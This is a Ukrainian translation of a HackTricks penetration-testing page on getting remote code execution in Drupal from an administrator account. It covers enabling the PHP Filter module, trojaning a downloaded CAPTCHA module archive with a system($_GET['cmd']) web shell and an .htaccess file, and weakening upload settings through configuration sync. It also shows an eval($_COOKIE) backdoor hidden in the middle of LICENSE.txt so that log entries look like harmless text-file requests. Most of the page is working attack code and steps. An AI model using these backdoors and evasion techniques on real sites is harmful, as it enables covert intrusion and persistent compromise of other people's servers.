Drupal RCE

Support HackTricks

З модулем PHP Filter

У старіших версіях Drupal (до версії 8) було можливим увійти як адміністратор і увімкнути модуль PHP filter, який "Дозволяє оцінювати вбудований PHP код/фрагменти." Але з версії 8 цей модуль не встановлюється за замовчуванням.

Вам потрібно, щоб плагін php був встановлений (перевірте, зайшовши в /modules/php, і якщо він повертає 403, тоді існує, якщо не знайдено, тоді плагін php не встановлений)

Перейдіть до Modules -> (Перевірте) PHP Filter -> Зберегти конфігурацію

Потім натисніть на Додати контент -> Виберіть Основна сторінка або Стаття -> Напишіть php shellcode в тілі -> Виберіть PHP code в Формат тексту -> Виберіть Попередній перегляд

Нарешті, просто зайдіть на новостворений вузол:

curl http://drupal-site.local/node/3

Встановлення модуля PHP Filter

У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки.

З версії 8 і далі, модуль PHP Filter не встановлюється за замовчуванням. Щоб скористатися цією функціональністю, нам потрібно встановити модуль самостійно.

  1. Завантажте найновішу версію модуля з веб-сайту Drupal.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Після завантаження перейдіть до Administration > Reports > Available updates.

  4. Натисніть Browse, виберіть файл з каталогу, куди ми його завантажили, а потім натисніть Install.

  5. Після встановлення модуля ми можемо натиснути на Content і створити нову базову сторінку, подібно до того, як ми робили в прикладі Drupal 7. Знову ж таки, не забудьте вибрати PHP code з випадаючого списку Text format.

Модуль з бекдором

У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки.

Модуль з бекдором можна створити, додавши shell до існуючого модуля. Модулі можна знайти на веб-сайті drupal.org. Давайте виберемо модуль, наприклад, CAPTCHA. Прокрутіть вниз і скопіюйте посилання на tar.gz архів.

  • Завантажте архів і розпакуйте його вміст.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Створіть PHP web shell з вмістом:

<?php
system($_GET["cmd"]);
?>
  • Далі нам потрібно створити файл .htaccess, щоб отримати доступ до папки. Це необхідно, оскільки Drupal забороняє прямий доступ до папки /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Конфігурація вище застосовуватиме правила для папки /, коли ми запитуємо файл у /modules. Скопіюйте обидва ці файли до папки captcha та створіть архів.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Припустимо, що у нас є адміністративний доступ до веб-сайту, натисніть на Управління і потім Розширити на бічній панелі. Далі натисніть на кнопку + Встановити новий модуль, і ми перейдемо на сторінку встановлення, наприклад, http://drupal-site.local/admin/modules/install. Перейдіть до архіву з бекдором Captcha і натисніть Встановити.

  • Після успішної установки перейдіть до /modules/captcha/shell.php, щоб виконати команди.

Бекдоринг Drupal з синхронізацією конфігурації

Пост поділився Coiffeur0x90

Частина 1 (активація Медіа та Медійної бібліотеки)

У меню Розширити (/admin/modules) ви можете активувати те, що, здається, є плагінами, вже встановленими. За замовчуванням плагіни Медіа та Медійна бібліотека не активовані, тож давайте їх активуємо.

Перед активацією:

Після активації:

Частина 2 (використання функції Синхронізація конфігурації)

Ми скористаємося функцією Синхронізація конфігурації, щоб вивантажити (експортувати) та завантажити (імпортувати) записи конфігурації Drupal:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Патч system.file.yml

Почнемо з патчування першого запису allow_insecure_uploads з:

Файл: system.file.yml


...

allow_insecure_uploads: false

...

До:

Файл: system.file.yml


...

allow_insecure_uploads: true

...

Патч field.field.media.document.field_media_document.yml

Тоді, патч другий запис file_extensions з:

Файл: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

До:

Файл: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Я не використовую це в цьому блозі, але зазначено, що можливо визначити запис file_directory довільним чином і що він вразливий до атаки обходу шляху (тому ми можемо піднятися вгору в дереві файлової системи Drupal).

Частина 3 (використання функції Додати документ)

Останній крок є найпростішим і поділений на два підкроки. Перший - завантажити файл у форматі .htaccess, щоб використати директиви Apache і дозволити інтерпретацію .txt файлів PHP-движком. Другий - завантажити .txt файл, що містить наш payload.

Файл: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Чому цей трюк класний?

Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми зможемо передавати наші команди через $_COOKIE, і в журналах веб-сервера це з'явиться як законний GET запит до текстового файлу.

Чому ми називаємо наш Webshell LICENSE.txt?

Просто тому, що якщо ми візьмемо наступний файл, наприклад core/LICENSE.txt (який вже присутній у ядрі Drupal), ми маємо файл з 339 рядків і розміром 17.6 КБ, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).

Файл: Виправлений LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Частина 3.1 (завантажити файл .htaccess)

Спочатку ми використовуємо функцію Add Document (/media/add/document) для завантаження нашого файлу, що містить директиви Apache (.htaccess).

Частина 3.2 (завантажити файл LICENSE.txt)

Потім ми знову використовуємо функцію Add Document (/media/add/document) для завантаження Webshell, прихованого в ліцензійному файлі.

Частина 4 (взаємодія з Webshell)

Остання частина полягає у взаємодії з Webshell.

Як показано на наступному скріншоті, якщо cookie, очікуваний нашим Webshell, не визначено, ми отримуємо наступний результат при зверненні до файлу через веб-браузер.

Коли атакуючий встановлює cookie, він може взаємодіяти з Webshell і виконувати будь-які команди, які хоче.

І, як ви можете бачити в журналах, виглядає так, ніби запитувався лише txt файл.

Дякуємо, що знайшли час прочитати цю статтю, сподіваюся, вона допоможе вам отримати кілька оболонок.

Support HackTricks

Last updated